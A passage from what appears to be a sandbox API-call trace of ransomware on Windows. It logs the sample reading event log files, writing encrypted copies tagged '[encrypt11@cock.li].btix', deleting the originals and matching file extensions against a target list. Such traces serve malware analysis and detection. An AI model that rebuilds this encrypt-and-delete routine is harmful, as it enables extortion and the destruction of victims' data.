lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.800] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x128, lpOverlapped=0x0) returned 1 [0051.800] SetEndOfFile (hFile=0x364) returned 1 [0051.800] CloseHandle (hObject=0x364) returned 1 [0051.802] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.802] SetEndOfFile (hFile=0x398) returned 1 [0051.803] CloseHandle (hObject=0x398) returned 1 [0051.803] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.803] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0051.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.804] lstrlenW (lpString=".doc") returned 4 [0051.804] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString=".docx") returned 5 [0051.804] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.804] lstrlenW (lpString=".pdf") returned 4 [0051.804] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString=".xls") returned 4 [0051.804] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString=".xlsx") returned 5 [0051.804] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.804] lstrlenW (lpString=".ppt") returned 4 [0051.804] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.804] lstrlenW (lpString=".zip") returned 4 [0051.804] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString=".rar") returned 4 [0051.804] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString=".bz2") returned 4 [0051.804] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString=".7z") returned 3 [0051.804] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.804] lstrlenW (lpString=".dbf") returned 4 [0051.804] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.804] lstrlenW (lpString=".1cd") returned 4 [0051.804] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.804] lstrlenW (lpString=".jpg") returned 4 [0051.804] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.804] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.805] lstrlenW (lpString=".doc") returned 4 [0051.805] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString=".docx") returned 5 [0051.805] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.805] lstrlenW (lpString=".pdf") returned 4 [0051.805] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString=".xls") returned 4 [0051.805] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString=".xlsx") returned 5 [0051.805] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.805] lstrlenW (lpString=".ppt") returned 4 [0051.805] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.805] lstrlenW (lpString=".zip") returned 4 [0051.805] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString=".rar") returned 4 [0051.805] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString=".bz2") returned 4 [0051.805] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString=".7z") returned 3 [0051.805] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.805] lstrlenW (lpString=".dbf") returned 4 [0051.805] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.805] lstrlenW (lpString=".1cd") returned 4 [0051.805] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0051.805] lstrlenW (lpString=".jpg") returned 4 [0051.805] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.805] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.806] lstrlenW (lpString="Microsoft-Windows-Store%4Operational.evtx") returned 41 [0051.806] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.807] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.807] CloseHandle (hObject=0x398) returned 1 [0051.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 0x20 [0051.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.807] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.807] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0051.807] GetLastError () returned 0x0 [0051.807] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.834] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.835] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.836] WriteFile (in: hFile=0x364, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x126, lpOverlapped=0x0) returned 1 [0051.836] SetEndOfFile (hFile=0x364) returned 1 [0051.836] CloseHandle (hObject=0x364) returned 1 [0051.837] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.838] SetEndOfFile (hFile=0x398) returned 1 [0051.838] CloseHandle (hObject=0x398) returned 1 [0051.839] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.839] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-store%4operational.evtx")) returned 1 [0051.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.839] lstrlenW (lpString=".doc") returned 4 [0051.839] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.839] lstrlenW (lpString=".docx") returned 5 [0051.839] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.839] lstrlenW (lpString=".pdf") returned 4 [0051.839] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.839] lstrlenW (lpString=".xls") returned 4 [0051.839] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.839] lstrlenW (lpString=".xlsx") returned 5 [0051.839] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.839] lstrlenW (lpString=".ppt") returned 4 [0051.839] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.839] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.839] lstrlenW (lpString=".zip") returned 4 [0051.839] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.839] lstrlenW (lpString=".rar") returned 4 [0051.840] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString=".bz2") returned 4 [0051.840] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString=".7z") returned 3 [0051.840] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.840] lstrlenW (lpString=".dbf") returned 4 [0051.840] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.840] lstrlenW (lpString=".1cd") returned 4 [0051.840] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.840] lstrlenW (lpString=".jpg") returned 4 [0051.840] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.840] lstrlenW (lpString=".doc") returned 4 [0051.840] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString=".docx") returned 5 [0051.840] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.840] lstrlenW (lpString=".pdf") returned 4 [0051.840] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString=".xls") returned 4 [0051.840] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString=".xlsx") returned 5 [0051.840] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.840] lstrlenW (lpString=".ppt") returned 4 [0051.840] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.840] lstrlenW (lpString=".zip") returned 4 [0051.840] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString=".rar") returned 4 [0051.840] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.840] lstrlenW (lpString=".bz2") returned 4 [0051.841] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.841] lstrlenW (lpString=".7z") returned 3 [0051.841] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.841] lstrlenW (lpString=".dbf") returned 4 [0051.841] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.841] lstrlenW (lpString=".1cd") returned 4 [0051.841] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.841] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 49 [0051.841] lstrlenW (lpString=".jpg") returned 4 [0051.841] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.841] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.841] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0051.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.841] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0051.841] CloseHandle (hObject=0x398) returned 1 [0051.841] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0051.841] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0051.841] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0051.842] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.842] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.842] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c [0051.879] GetLastError () returned 0x0 [0051.879] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0051.941] WriteFile (in: hFile=0x32c, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0051.943] ReadFile (in: hFile=0x398, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0051.943] WriteFile (in: hFile=0x32c, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x136, lpOverlapped=0x0) returned 1 [0051.943] SetEndOfFile (hFile=0x32c) returned 1 [0051.943] CloseHandle (hObject=0x32c) returned 1 [0051.944] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0051.944] SetEndOfFile (hFile=0x398) returned 1 [0051.945] CloseHandle (hObject=0x398) returned 1 [0051.946] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0051.946] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0051.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.946] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.946] lstrlenW (lpString=".doc") returned 4 [0051.946] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.946] lstrlenW (lpString=".docx") returned 5 [0051.946] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.946] lstrlenW (lpString=".pdf") returned 4 [0051.946] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.946] lstrlenW (lpString=".xls") returned 4 [0051.946] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.946] lstrlenW (lpString=".xlsx") returned 5 [0051.947] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.947] lstrlenW (lpString=".ppt") returned 4 [0051.947] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.947] lstrlenW (lpString=".zip") returned 4 [0051.947] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.947] lstrlenW (lpString=".rar") returned 4 [0051.947] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.947] lstrlenW (lpString=".bz2") returned 4 [0051.947] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.947] lstrlenW (lpString=".7z") returned 3 [0051.947] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.947] lstrlenW (lpString=".dbf") returned 4 [0051.947] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.947] lstrlenW (lpString=".1cd") returned 4 [0051.947] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.947] lstrlenW (lpString=".jpg") returned 4 [0051.947] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.947] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.947] lstrlenW (lpString=".doc") returned 4 [0051.948] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString=".docx") returned 5 [0051.948] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0051.948] lstrlenW (lpString=".pdf") returned 4 [0051.948] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString=".xls") returned 4 [0051.948] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString=".xlsx") returned 5 [0051.948] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0051.948] lstrlenW (lpString=".ppt") returned 4 [0051.948] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.948] lstrlenW (lpString=".zip") returned 4 [0051.948] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString=".rar") returned 4 [0051.948] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString=".bz2") returned 4 [0051.948] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString=".7z") returned 3 [0051.948] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0051.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.948] lstrlenW (lpString=".dbf") returned 4 [0051.948] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.948] lstrlenW (lpString=".1cd") returned 4 [0051.948] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0051.948] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0051.948] lstrlenW (lpString=".jpg") returned 4 [0051.948] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0051.949] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0051.949] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 70 [0051.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.015] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x302ff14 | out: lpFileSize=0x302ff14*=69632) returned 1 [0052.015] CloseHandle (hObject=0x36c) returned 1 [0052.016] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 0x20 [0052.016] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0052.016] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0052.016] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.016] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.016] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0052.053] GetLastError () returned 0x0 [0052.053] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x11000, lpOverlapped=0x0) returned 1 [0052.091] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x11010, lpOverlapped=0x0) returned 1 [0052.106] ReadFile (in: hFile=0x36c, lpBuffer=0x3b14020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x302fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesRead=0x302fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.106] WriteFile (in: hFile=0x320, lpBuffer=0x3b14020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x302fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b14020*, lpNumberOfBytesWritten=0x302fc94*=0x160, lpOverlapped=0x0) returned 1 [0052.106] SetEndOfFile (hFile=0x320) returned 1 [0052.106] CloseHandle (hObject=0x320) returned 1 [0052.108] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x302fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.108] SetEndOfFile (hFile=0x36c) returned 1 [0052.110] CloseHandle (hObject=0x36c) returned 1 [0052.110] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0052.110] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0052.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.110] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0052.110] lstrlenW (lpString=".doc") returned 4 [0052.110] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0052.110] lstrlenW (lpString=".docx") returned 5 [0052.110] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0052.110] lstrlenW (lpString=".pdf") returned 4 [0052.111] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".xls") returned 4 [0052.111] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0052.111] lstrlenW (lpString=".xlsx") returned 5 [0052.111] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0052.111] lstrlenW (lpString=".ppt") returned 4 [0052.111] lstrcmpiW (lpString1=".ppt", 